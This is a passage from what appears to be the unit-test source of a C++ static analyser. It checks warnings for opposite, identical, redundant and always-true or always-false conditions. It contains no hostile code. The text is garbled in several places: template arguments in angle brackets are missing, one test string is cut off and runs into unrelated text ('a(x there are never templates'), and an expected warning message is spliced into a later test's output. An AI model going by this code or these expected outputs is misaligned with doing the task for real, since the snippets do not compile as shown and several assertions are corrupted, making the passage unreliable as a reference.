errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==2) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==4) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(char a, char b) { if(a==b) if(a==0) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { if (x == 1) if (x != 1) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionAnd() {\n check(\"void f(int x) {\\n\"\n \" if (a>3 && x > 100) {\\n\"\n \" if (x < 10) {}\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f(bool x, const int a, const int b) {\\n\"\n \" if(x && a < b)\\n\"\n \" if( x && a > b){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:19]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionOr()\n {\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string x) {\\n\"\n \" if (x == \\\"1\\\" || x == \\\"2\\\") {\\n\"\n \" if (x == \\\"1\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 || x > 3) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n }\n\n void oppositeInnerConditionEmpty() {\n check(\"void f1(const std::string &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:61]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() > 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 0) if(s.empty()) {}} \"); // <- CheckOther reports: checking if unsigned expression is less than zero\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"template void f1(const T &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str()); //We don't know the type of T so we don't know the relationship between size() and empty(). e.g. s might be a 50 tonne truck with nothing in it.\n\n check(\"void f2(const std::wstring &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:44] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(QString s) { if(s.isEmpty()) if(s.length() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:34] -> [test.cpp:1:52]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s, bool b) { if(s.empty() || ((s.size() == 1) && b)) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(x.size() > 42) if(y.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(y.empty()) if(x.size() > 42) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string v[10]) { if(v[0].size() > 42) if(v[1].empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() >= 0) if(s.empty()) {}} \"); // CheckOther says: Unsigned expression 's.size()' can't be negative so it is unnecessary to test it. [unsignedPositive]\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() <= 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() < 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionFollowVar() {\n check(\"struct X {\\n\"\n \" void f() {\\n\"\n \" const int flag = get();\\n\"\n \" if (flag) {\\n\"\n \" bar();\\n\"\n \" if (!get()) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void bar();\\n\"\n \" int get() const;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct CD {\\n\"\n \" bool state;\\n\"\n \" void foo() {\\n\"\n \" const bool flag = this->get();\\n\"\n \" if (flag) {\\n\"\n \" this->bar();\\n\"\n \" if (!this->get()) return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool get() const;\\n\"\n \" void bar();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \"public:\\n\"\n \" bool f() const { return x > 0; }\\n\"\n \" void g();\\n\"\n \" int x = 0;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::g() {\\n\"\n \" bool b = f();\\n\"\n \" x += 1;\\n\"\n \" if (!b && f()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (d != 0) {\\n\"\n \" int i = d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionLambda() {\n check(\"void f() {\\n\" // #13728\n \" for (int i = 0; i < 2;) {\\n\"\n \" auto inc = [&]() {\\n\"\n \" if (i >= 2)\\n\"\n \" throw 0;\\n\"\n \" return i++;\\n\"\n \" };\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalInnerCondition() {\n check(\"void f1(int a, int b) { if(a==b) if(a==b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"void f2(int a, int b) { if(a!=b) if(a!=b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n // #6645 false negative: condition is always false\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b) {\\n\"\n \" if(a) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:3:9]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(int a, int b) {\\n\"\n \" if(a == b) { return a == b; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:27]: (warning) Identical inner 'return' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(bool a) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(int* a, int * b) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::shared_ptr a, std::shared_ptr b) {\\n\"\n \" if(a.get()) { return a.get(); }\\n\"\n \" return b.get();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int * x; };\\n\"\n \"int* f(A a, int * b) {\\n\"\n \" if(a.x) { return a.x; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" uint32_t value;\\n\"\n \" get_value(&value);\\n\"\n \" int opt_function_capable = (value >> 28) & 1;\\n\"\n \" if (opt_function_capable) {\\n\"\n \" value = 0;\\n\"\n \" get_value (&value);\\n\"\n \" if ((value >> 28) & 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TYPE_1 \\\"a\\\"\\n\" // #13202\n \"#define TYPE_2 \\\"b\\\"\\n\"\n \"#define TYPE_3 \\\"c\\\"\\n\"\n \"void f(const std::string& s) {\\n\"\n \" if (s == TYPE_1) {}\\n\"\n \" else if (s == TYPE_2 || s == TYPE_3) {\\n\"\n \" if (s == TYPE_2) {}\\n\"\n \" else if (s == TYPE_3) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalConditionAfterEarlyExit() {\n check(\"void f(int x) {\\n\" // #8137\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x > 100) { return false; }\\n\"\n \" return x > 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Identical condition and return expression 'x>100', return value is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 || y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 && y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (abc) {}\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" while (abc) { y = x; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n ASSERT_THROW_INTERNAL(check(\"void f(int x) {\\n\" // #8217 - crash for incomplete code\n \" if (x > 100) { return; }\\n\"\n \" X(do);\\n\"\n \" if (x > 100) {}\\n\"\n \"}\"),\n SYNTAX);\n\n check(\"void f(const int *i) {\\n\"\n \" if (!i) return;\\n\"\n \" if (!num1tok) { *num1 = *num2; }\\n\"\n \" if (!i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:4:7]: (warning) Identical condition '!i', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void C::f(Tree &coreTree) {\\n\" // daca\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C { void f(const Tree &coreTree); };\\n\"\n \"void C::f(const Tree &coreTree) {\\n\"\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6] -> [test.cpp:6:6]: (warning) Identical condition '!coreTree.build()', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // daca: labplot\n \" switch(type) {\\n\"\n \" case 1:\\n\"\n \" if (x == 0) return 1;\\n\"\n \" else return 2;\\n\"\n \" case 2:\\n\"\n \" if (x == 0) return 3;\\n\"\n \" else return 4;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static int failed = 0;\\n\"\n \"void f() {\\n\"\n \" if (failed) return;\\n\"\n \" checkBuffer();\\n\"\n \" if (failed) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca icu\n check(\"void f(const uint32_t *section, int32_t start) {\\n\"\n \" if(10<=section[start]) { return; }\\n\"\n \" if(++start<100 && 10<=section[start]) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca iqtree\n check(\"void readNCBITree(std::istream &in) {\\n\"\n \" char ch;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') return;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8924\n check(\"struct A {\\n\"\n \" void f() {\\n\"\n \" if (this->FileIndex >= 0) return;\\n\"\n \" this->FileIndex = 1 ;\\n\"\n \" if (this->FileIndex < 0) return;\\n\"\n \" }\\n\"\n \" int FileIndex;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:29]: (style) Condition 'this->FileIndex<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8858 - #if\n check(\"short Do() {\\n\"\n \" short ret = bar1();\\n\"\n \" if ( ret )\\n\"\n \" return ret;\\n\"\n \"#ifdef FEATURE\\n\"\n \" ret = bar2();\\n\"\n \"#endif\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10456\n check(\"int f() {\\n\"\n \" int i = 0;\\n\"\n \" auto f = [&](bool b) { if (b) ++i; };\\n\"\n \" if (i) return i;\\n\"\n \" f(true);\\n\"\n \" if (i) return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11478\n check(\"struct S {\\n\"\n \" void run();\\n\"\n \" bool b = false;\\n\"\n \" const std::function f;\\n\"\n \"};\\n\"\n \"void S::run() {\\n\"\n \" while (true) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" f(*this);\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void innerConditionModified() {\n check(\"void f(int x, int y) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * x, int * y) {\\n\"\n \" if (x[*y] == 0) {\\n\"\n \" (*y)++;\\n\"\n \" if (x[*y] == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // clarify conditions with = and comparison\n void clarifyCondition1() {\n check(\"void f() {\\n\"\n \" if (x = b() < 0) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (assignment + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" for (i = 0; i < 10; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" x = a(); if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x = b < 0 ? 1 : 2) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || (!y && z));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || !y && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!a || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant condition: a. '!a || (a && b)' is equivalent to '!a || b' [redundantCondition]\\n\", errout_str());\n\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Redundant condition: tok->next()->function(). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok2->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next(1)->function(1) ||\\n\"\n \" (tok->next(1)->function(1) && tok->next(1)->function(1)->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (style) Redundant condition: tok->next(1)->function(1). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function(1) ||\\n\"\n \" (tok->next()->function(2) && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y==0 || y!=0 && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Redundant condition: y!=0. 'y==0 || (y!=0 && z)' is equivalent to 'y==0 || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x>0 || (x<0 && y)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test Token::expressionString, TODO move this test\n check(\"void f() {\\n\"\n \" if (!dead || (dead && (*it).ticks > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Redundant condition: dead. '!dead || (dead && (*it).ticks>0)' is equivalent to '!dead || (*it).ticks>0' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!x || (x && (2>(y-1)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Redundant condition: x. '!x || (x && 2>(y-1))' is equivalent to '!x || 2>(y-1)' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a || (a && b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a || (a && b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && (a || b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a && (a || b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n }\n\n // clarify conditions with bitwise operator and comparison\n void clarifyCondition2() {\n check(\"void f() {\\n\"\n \" if (x & 3 == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Condition 'x&3==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a & fred1.x == fred2.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n , errout_str());\n }\n\n // clarify condition that uses ! operator and then bitwise operator\n void clarifyCondition3() {\n check(\"void f(int w) {\\n\"\n \" if(!w & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int w) {\\n\"\n \" if((!w) & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x == foo() & 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & x == foo()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & (x == foo())) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list &ints) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { A a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a(x there are never templates\n ASSERT_EQUALS(\"[test.c:1:17]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"class A;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (result != (char *)&inline_result) { }\\n\" // don't simplify and verify cast\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8495\n check(\"void f(bool a, bool b) {\\n\"\n \" C & a & b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition4() { // ticket #3110\n check(\"typedef double SomeType;\\n\"\n \"typedef std::pair PairType;\\n\"\n \"struct S\\n\"\n \"{\\n\"\n \" bool operator()\\n\"\n \" ( PairType const & left\\n\"\n \" , PairType const & right) const\\n\"\n \" {\\n\"\n \" return left.first < right.first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition5() { // ticket #3609 (using | in template instantiation)\n check(\"template struct CWinTraits;\\n\"\n \"CWinTraits::GetWndStyle(0);\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition6() {\n check(\"template\\n\"\n \"SharedPtr& operator=( SharedPtr const & r ) {\\n\"\n \" px = r.px;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition7() {\n // Ensure that binary and unary &, and & in declarations are distinguished properly\n check(\"void f(bool error) {\\n\"\n \" bool & withoutSideEffects=found.first->second;\\n\" // Declaring a reference to a boolean; & is no operator at all\n \" execute(secondExpression, &programMemory, &result, &error);\\n\" // Unary &\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition8() {\n // don't warn when boolean result comes from function call, array index, etc\n // the operator precedence is not unknown then\n check(\"bool a();\\n\"\n \"bool f(bool b) {\\n\"\n \" return (a() & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool *a, bool b) {\\n\"\n \" return (a[10] & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (a.a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (A::a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5895() {\n check(\"void png_parse(uint64_t init, int buf_size) {\\n\"\n \" if (init == 0x89504e470d0a1a0a || init == 0x8a4d4e470d0a1a0a)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5309() {\n check(\"extern uint64_t value;\\n\"\n \"void foo() {\\n\"\n \" if( ( value >= 0x7ff0000000000001ULL )\\n\"\n \" && ( value <= 0x7fffffffffffffffULL ) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrue() {\n\n check(\"void f(const struct S *s) {\\n\" //#8196\n \" int x1 = s->x;\\n\"\n \" int x2 = s->x;\\n\"\n \" if (x1 == 10 && x2 == 10) {}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'x2==10' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f ()\\n\"// #8220\n \"{\\n\"\n \" int a;\\n\"\n \" int b = 0;\\n\"\n \" int ret;\\n\"\n \" \\n\"\n \" a = rand();\\n\"\n \" while (((0 < a) && (a < 2)) && ((8 < a) && (a < 10))) \\n\"\n \" {\\n\"\n \" b += a;\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \" ret = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:27] -> [test.cpp:8:40]: (style) Condition '8 [test.cpp:2:30]: (style) Return value 'x==0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6898 (Token::expressionString)\n \" int x = 0;\\n\"\n \" A(x++ == 1);\\n\"\n \" A(x++ == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'x++==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:9]: (style) Condition 'x++==2' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"bool foo(int bar) {\\n\"\n \" bool ret = false;\\n\"\n \" if (bar == 1)\\n\"\n \" return ret;\\n\" // <- #9326 - FP condition is always false\n \" if (bar == 2)\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() == 0) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (style) Condition 's.size()==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'buf!=0' is always true [knownConditionTrueFalse]\\n\", errout_str()); // #8924\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( !buf ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) 